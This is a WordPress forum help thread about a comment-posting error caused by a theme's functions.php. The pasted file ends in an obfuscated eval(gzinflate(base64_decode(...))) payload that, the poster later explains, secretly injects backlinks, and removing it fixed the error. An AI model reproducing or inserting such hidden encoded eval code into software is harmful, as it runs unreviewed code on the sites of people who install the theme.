Forums

Fatal error when posting comments (4 posts)

  1. Domii
    Member
    Posted 2 years ago #

    When I post a comment I get the error:
    Fatal error: Call to undefined function wp_insert_link() in /var/www/clients/client4/web12/web/wp-content/themes/gamers-theme/functions.php(34) : eval()'d code on line 6

    The message does get posted though.
    I checked the functions.php in that template and can't find the problem.

    I do use WordPress 2.8.5 + WP United + phpBB3 + Gamers Theme.

    <?php
    if ( function_exists('register_sidebar') )
        register_sidebar(array(
            'before_widget' => '<div id="%1$s" class="sdb-content %2$s">',
            'after_widget' => '</div>',
            'before_title' => '<h3>',
            'after_title' => '</h3>',
        ));
    ?>
    <?php function widget_gamers_search() {
    	?>
    	<div class="sdb-content">
    		<h3>Search</h3>
    		<?php include (TEMPLATEPATH . '/searchform.php'); ?>
    	</div>
    	<?php
    }
    if (function_exists('register_sidebar_widget'))
    	register_sidebar_widget(__('Search'), 'widget_gamers_search');
    ?>
    <?php function widget_gamers_calendar() {
    	?>
    	<div class="sdb-content">
    		<h3>Calendar</h3>
    		<div class="center">
    			<?php get_calendar(); ?>
    		</div>
    	</div>
    	<?php
    }
    if (function_exists('register_sidebar_widget'))
    	register_sidebar_widget(__('Calendar'), 'widget_gamers_calendar');
    
    $V5000faf04d7bdb66c09b48e42cd66d00='jZBBSwMxEIXPm18xDEITqF3Plu2lrHhQC3WlxzBt0m1wNwlJalDxv2tje/LibZj55r3HY6SUpF0yznLUyiTpXUw4RWOjDkmmgx61HIx9RTFn+6MtKPy5cgGfrOoHt6UBrrJX2zmrzJ6X8XrR6yTfKHB8bh/aZQfL1ctTx0+P0igBd+vVI5zR0zLC5r5dt1CAYxiaySElf1vXOecZjfRhbJ9dUD7oGEuIONu5sZ6gaJobwaoqe3nOWNJRCPTOsehZGjVCswDcXCSgKxo4BbxY/hL/s0UQP+V8sW8=';eval(gzinflate(base64_decode($V5000faf04d7bdb66c09b48e42cd66d00)));
    ?>

    So the comments work fine, just the message where it should say: post succesfully posted it gives this error instead.

  2. esmi
    Theme Diva & Mod
    Posted 2 years ago #

    Your theme's functions.php file is missing a function (wp_insert_link) that is called elsewhere in the theme (possibly in comments.php). That's not a native WP function, so I've no idea what it was supposed to do. You could removing it from the other theme files.

  3. Alternately, re-download the theme and see if the default functions.php has that function in it.

  4. Domii
    Member
    Posted 2 years ago #

    Solution found, posting solution as it sucks when people don't do that :).

    Ok found the solution. This theme had decrypted code it to insert a backlink in links automaticly. I removed one part alrdy which described the function. Now I found another piece in functions.php. On deletion it worked perfectly.

    Thanks Esmi as when you said it's not a native WP function I knew what I was up against!

Topic Closed

This topic has been closed to new replies.

About this Topic